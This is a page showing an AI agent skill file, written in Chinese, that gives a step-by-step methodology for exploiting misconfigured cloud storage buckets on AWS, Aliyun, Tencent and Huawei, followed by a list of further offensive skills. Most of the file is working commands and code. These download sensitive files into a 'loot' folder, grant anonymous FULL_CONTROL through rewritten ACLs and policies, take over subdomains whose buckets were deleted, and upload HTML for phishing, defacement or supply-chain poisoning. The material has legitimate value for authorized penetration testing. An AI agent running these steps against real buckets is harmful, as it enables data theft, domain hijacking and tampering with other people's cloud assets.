oss-bucket-exploit

$npx mdskill add wgpsec/AboutSecurity/oss-bucket-exploit

Exploit misconfigured public cloud storage buckets

  • Detects exposed buckets across AWS, Aliyun, Tencent, and Huawei
  • Uses coscli and awscli for targeted bucket operations
  • Executes ACL checks, file uploads, and policy abuse tests
  • Reports findings via structured output with actionable remediation

SKILL.md

.github/skills/oss-bucket-exploitView on GitHub ↗
---
name: oss-bucket-exploit
description: "对象存储(S3/OSS/COS/OBS)Bucket 误配利用。当发现 AWS S3、阿里云 OSS、腾讯云 COS、华为云 OBS 等对象存储服务,或在 HTTP 响应中看到 x-amz-*、x-oss-*、x-cos-* 等 Header 时使用。覆盖 Bucket 枚举、ACL 误配检测、公开读写利用、Bucket 接管、Object 遍历、任意文件上传、Policy 策略滥用。发现任何云存储桶相关的资产或 URL(*.s3.amazonaws.com、*.oss-cn-*.aliyuncs.com、*.cos.*.myqcloud.com 等)都应使用此技能。优先使用 coscli/tccli 操作腾讯云 COS,awscli 操作 AWS S3"
metadata:
  tags: "s3,oss,cos,obs,bucket,对象存储,acl,云存储,aws,aliyun,tencent,腾讯云,coscli,tccli,file_upload,takeover"
  category: "cloud"
---

# 对象存储 Bucket 误配利用方法论

对象存储是云上最常见的暴露面——Bucket 一旦配置公开读写,就等于把文件服务器直接暴露在互联网上。更危险的是 ACL 误配可以让攻击者接管整个 Bucket,进行钓鱼、供应链投毒、数据窃取。

## ⛔ 深入参考(必读)

- 各云厂商 Bucket 攻击详细命令(AWS/阿里云/腾讯云)、ACL 利用 Payload、Policy 构造、coscli 使用 → [references/bucket-attack-methods.md](references/bucket-attack-methods.md)

---

## Phase 1: 识别对象存储

| 线索 | 云平台 | Bucket URL 格式 |
|------|--------|-----------------|
| `x-amz-*` Header, `Server: AmazonS3` | AWS S3 | `BUCKET.s3.amazonaws.com` 或 `s3.REGION.amazonaws.com/BUCKET` |
| `x-oss-*` Header, `.aliyuncs.com` | 阿里云 OSS | `BUCKET.oss-cn-REGION.aliyuncs.com` |
| `x-cos-*` Header, `Server: tencent-cos`, `.myqcloud.com` | 腾讯云 COS | `BUCKET-APPID.cos.REGION.myqcloud.com` |
| `x-obs-*` Header, `.myhuaweicloud.com` | 华为云 OBS | `BUCKET.obs.REGION.myhuaweicloud.com` |

```bash
# 快速判断
curl -sI https://TARGET_URL | grep -iE 'x-amz|x-oss|x-cos|x-obs|AmazonS3|aliyuncs|myqcloud|tencent-cos'
```

### 腾讯云 COS 特征

腾讯云 COS 的 Bucket 名称格式为 `BUCKET-APPID`,其中 APPID 是用户唯一标识。

```
# Bucket 访问域名格式
<BucketName-APPID>.cos.<Region>.myqcloud.com

# 示例
mybucket-1250000000.cos.ap-guangzhou.myqcloud.com

# 全局 Bucket 列表(需认证)
GET Service HTTP/1.1
Host: cos.ap-guangzhou.myqcloud.com
```

---

## Phase 2: 攻击决策树

```
发现对象存储?
├─ 1. 列出 Bucket 内容(公开读?)
│   ├─ 成功 → 搜索敏感文件(配置/备份/代码/凭据)
│   └─ 403 → 尝试 ACL 和 Policy 利用
├─ 2. 检查 ACL 误配(ACL 可读?ACL 可写?)
│   ├─ ACL 可写 → 修改 ACL 获取 FULL_CONTROL
│   └─ Object ACL 可写 → 修改单个 Object 权限
├─ 3. 检查 Bucket Policy 误配
│   ├─ Policy 可写 → 直接获取完整权限
│   └─ 条件绕过 → 利用 Policy 中的弱条件
├─ 4. 公开写入 → 上传 Webshell/钓鱼页面/供应链投毒
└─ 5. Bucket 接管(NoSuchBucket → 抢注同名 Bucket)
```

---

## Phase 3: 公开读检测与敏感文件搜索

### AWS S3
```bash
aws s3 ls s3://BUCKET_NAME --no-sign-request
aws s3 sync s3://BUCKET_NAME ./loot --no-sign-request
```

### 阿里云 OSS
```bash
curl -s "https://BUCKET.oss-cn-REGION.aliyuncs.com/?list-type=2"
ossutil ls oss://BUCKET --endpoint oss-cn-REGION.aliyuncs.com
```

### 腾讯云 COS(优先使用 coscli)

```bash
# 方式 1: coscli(推荐,功能最全)
coscli ls cos://BUCKET-APPID/ -r
coscli ls cos://BUCKET-APPID/ -r --include "*.env" --include "*.sql"

# 方式 2: Python SDK(tccli 不支持 GetService)
# pip install cos-python-sdk-v5
# from qcloud_cos import CosConfig, CosS3Client
# client = CosS3Client(CosConfig(Region='ap-guangzhou', SecretId='Sid', SecretKey='Skey'))
# print(client.list_buckets())

# 方式 3: curl 直接访问(无需认证)
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/"
# 返回 XML 列表 → 公开读
# 返回 AccessDenied → 非公开

# 下载文件
coscli cp cos://BUCKET-APPID/path/to/file ./
coscli cp cos://BUCKET-APPID/ ./loot/ -r  # 批量下载
```

### 敏感文件搜索

```bash
# coscli 搜索
coscli ls cos://BUCKET-APPID/ -r --include "*.env"
coscli ls cos://BUCKET-APPID/ -r --include "*.sql"
coscli ls cos://BUCKET-APPID/ -r --include "*.bak"
coscli ls cos://BUCKET-APPID/ -r --include "*.pem"
coscli ls cos://BUCKET-APPID/ -r --include "config*"
```

敏感文件关键词:`backup`, `.sql`, `.env`, `config`, `credential`, `password`, `.pem`, `.key`, `flag`

---

## Phase 4: ACL 误配利用

### AWS S3 ACL
```bash
aws s3api get-bucket-acl --bucket BUCKET_NAME --no-sign-request
```

### 腾讯云 COS ACL

```bash
# 查看 Bucket ACL(coscli)
coscli get-bucket-acl cos://BUCKET-APPID

# 查看 Bucket ACL(curl)
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/?acl"

# 如果 ACL 中包含 AllUsers 或匿名访问 → 可进一步利用
```

### 腾讯云 COS ACL 修改(需要写权限)

```bash
# coscli 设置 ACL
coscli put-bucket-acl cos://BUCKET-APPID --grant-full-control anyone

# 或通过 curl PUT ACL
cat > acl.xml << 'EOF'
<AccessControlPolicy>
  <Owner>
    <ID>qcs::cam::uin/OWNER_UIN:uin/OWNER_UIN</ID>
  </Owner>
  <AccessControlList>
    <Grant>
      <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
        <URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
      </Grantee>
      <Permission>FULL_CONTROL</Permission>
    </Grant>
  </AccessControlList>
</AccessControlPolicy>
EOF

curl -X PUT "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/?acl" \
  -H "Content-Type: application/xml" \
  -d @acl.xml
```

→ ACL 修改和 Policy 利用详细命令 → [references/bucket-attack-methods.md](references/bucket-attack-methods.md)

---

## Phase 5: Bucket 接管

当访问子域名显示 `NoSuchBucket`、`BucketNotFound` 等错误时,原始 Bucket 已被删除但 DNS CNAME 仍指向它。

### AWS S3
```bash
dig +short target-subdomain.example.com
# 返回 xxx.s3.amazonaws.com → 可能可接管
aws s3 mb s3://target-subdomain.example.com
```

### 腾讯云 COS
```bash
# 确认 CNAME
dig +short target-subdomain.example.com
# 返回 *.cos.*.myqcloud.com → 可能可接管

# 如果返回 NoSuchBucket 错误
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/" | grep -i "nosuchbucket"

# 在自己账号下创建同名 Bucket
coscli mb cos://BUCKET-APPID -e cos.ap-guangzhou.myqcloud.com

# 或使用 tccli(需要 SDK 辅助创建 COS 桶)
# tccli 没有直接的 create-bucket 命令,需要用 coscli 或 Python SDK
```

### Python SDK 创建 COS Bucket

```python
from qcloud_cos import CosConfig, CosS3Client

secret_id = 'SecretId'
secret_key = 'SecretKey'
region = 'ap-guangzhou'
config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key)
client = CosS3Client(config)

# 创建同名 Bucket 接管子域名
response = client.create_bucket(Bucket='target-bucket-1250000000')
print(response)
```

---

## Phase 6: 任意文件上传利用

如果 Bucket 配置了公开写入:

### AWS S3
```bash
aws s3 cp malicious.html s3://BUCKET_NAME/ --no-sign-request
```

### 腾讯云 COS
```bash
# coscli 上传
coscli cp malicious.html cos://BUCKET-APPID/

# curl PUT 上传(无需认证)
curl -X PUT "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/test.html" \
  -d '<html><body><h1>COS Writable</h1></body></html>'

# 如果 Bucket 支持 HTML 解析 → XSS/钓鱼
# 如果是静态网站托管 → 挂黑页/暗链
# 如果是应用资源 CDN → 供应链投毒
```

---

## 腾讯云 COS 特有工具

### coscli(腾讯云 COS 专用 CLI)

```bash
# 安装(根据系统架构选择对应版本)
# Linux amd64
wget https://cosbrowser.cloud.tencent.com/software/coscli/coscli-linux-amd64
mv coscli-linux-amd64 /usr/local/bin/coscli && chmod +x /usr/local/bin/coscli
# Linux arm64 → coscli-linux-arm64
# macOS arm64 (M1/M2) → coscli-darwin-arm64
# macOS amd64 (Intel) → coscli-darwin-amd64

# 配置(交互式,生成 ~/.cos.yaml)
coscli config init
# 按提示输入: SecretId, SecretKey, SessionToken(临时凭据时), APPID, Bucket-Region

# 常用命令
coscli ls                           # 列出所有桶
coscli ls cos://BUCKET-APPID/ -r    # 递归列出桶内容
coscli cp local.txt cos://BUCKET-APPID/remote.txt   # 上传
coscli cp cos://BUCKET-APPID/remote.txt ./           # 下载
coscli rm cos://BUCKET-APPID/file.txt               # 删除
coscli presign cos://BUCKET-APPID/file.txt           # 生成预签名URL
coscli get-bucket-acl cos://BUCKET-APPID             # 查看ACL
coscli put-bucket-acl cos://BUCKET-APPID --grant-read anyone  # 设置ACL
```

### Python SDK (cos-python-sdk-v5)

当 coscli 或 tccli 无法实现特定操作时使用。

```bash
pip install cos-python-sdk-v5
```

```python
from qcloud_cos import CosConfig, CosS3Client
import json

secret_id = 'SecretId'
secret_key = 'SecretKey'
region = 'ap-guangzhou'
token = None  # 临时凭据时填入 Token

config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token)
client = CosS3Client(config)

# 列出所有桶
response = client.list_buckets()

# 列出桶内对象
response = client.list_objects(Bucket='bucket-1250000000')

# 获取 Bucket ACL
response = client.get_bucket_acl(Bucket='bucket-1250000000')

# 获取 Bucket Policy
response = client.get_bucket_policy(Bucket='bucket-1250000000')

# 获取 Bucket CORS
response = client.get_bucket_cors(Bucket='bucket-1250000000')

# 获取 Bucket 加密配置
response = client.get_bucket_encryption(Bucket='bucket-1250000000')

# 获取 Bucket 日志配置
response = client.get_bucket_logging(Bucket='bucket-1250000000')

# 下载文件
response = client.get_object(Bucket='bucket-1250000000', Key='secret.txt')

# 上传文件
response = client.put_object(Bucket='bucket-1250000000', Key='test.html', Body=b'<html>test</html>')

# 设置 Bucket ACL(公开读)
response = client.put_bucket_acl(Bucket='bucket-1250000000', ACL='public-read')

# 设置 Bucket Policy
policy = {
    "version": "2.0",
    "statement": [{
        "effect": "allow",
        "principal": {"qcs": ["qcs::cam::anyone:anyone"]},
        "action": ["name/cos:*"],
        "resource": [
            "qcs::cos:ap-guangzhou:uid/1250000000:bucket-1250000000/*",
            "qcs::cos:ap-guangzhou:uid/1250000000:bucket-1250000000"
        ]
    }]
}
response = client.put_bucket_policy(Bucket='bucket-1250000000', Policy=json.dumps(policy))
```

## 注意事项

- 对象存储误配非常常见,尤其是开发/测试环境
- Bucket 名称全局唯一(AWS/阿里云/腾讯云等),知道名称就可以尝试访问
- 修改 ACL/Policy 会产生操作日志(CloudTrail/ActionTrail/CloudAudit)
- 部分云厂商默认屏蔽了公开列出操作,但单个 Object 仍可能可访问
- 腾讯云 COS Bucket 名必须带 APPID 后缀(如 `bucket-1250000000`)
- coscli 是腾讯云 COS 的专用工具,功能比 tccli cos 更全
- tccli 对 COS 支持有限(主要是 `GetService` 列出桶),具体操作优先用 coscli 或 SDK

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|